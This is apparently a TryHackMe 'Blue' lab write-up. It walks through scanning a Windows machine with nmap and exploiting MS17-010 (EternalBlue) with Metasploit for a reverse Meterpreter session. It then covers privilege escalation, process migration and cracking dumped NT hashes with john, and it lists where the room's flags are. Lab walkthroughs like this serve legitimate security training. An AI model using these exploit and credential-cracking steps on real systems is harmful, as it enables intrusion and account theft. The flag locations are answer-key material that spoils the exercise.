> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/windows-boxes/blue.md).

# Blue

Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

### Scanning

```
nmap -sV --script vuln $IP
```

Commands:

-sV – checks the version of the running services

–script vuln – runs some scripts so we can answer question

### Exploit

Now i won’t paste the whole output we are only interested in ms17-010. Now let’s open metasploit and confirm if the host if vulnerable or not:

```
msfconsole
```

Now we use the command search to find the module that we want:

```
search eternal
```

And we found it now let’s use it:

```
use auxiliary/scanner/smb/smb_ms17_010
```

Now we need to specify the rhost:

```
set rhost $IP
#to run the module type:
run
```

Output:

![](https://learning2hack665624120.files.wordpress.com/2020/08/image-151.png?w=923)

Sweet now we can use the exploit for Eternal Blue:

```
#type this to deselect the current module:
back
#now for the new module:
use exploit/windows/smb/ms17_010_eternalblue
```

Let’s see the options that we need to specify:

```
options
```

Let’s specify the rhost and we are good to go:

```
#target's ip
set rhost $ip
#your ip now:
set lhost tun0
run
```

And we are in:

![](https://learning2hack665624120.files.wordpress.com/2020/08/image-153.png?w=838)

Now we can migrate our process to another that is running from the user “authority\system”:

![](https://learning2hack665624120.files.wordpress.com/2020/08/image-155.png?w=926)

First type “getsystem” in the meterpreter in order to get more access so we can migrate the process. Then type:

```
migrate $numberoftheprocessyouchoose
```

Now we can dumb the hash and crack it:

```
echo "#thehashyoufound" > hash.hash
```

Now we can use john to crack the hashes:

```
john hash.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=NT
```

The flags are located in the following directories:

* C:\ – flag1
* C:\Windows\System32\config – flag2
* C:\Users\Jon\Documents – flag3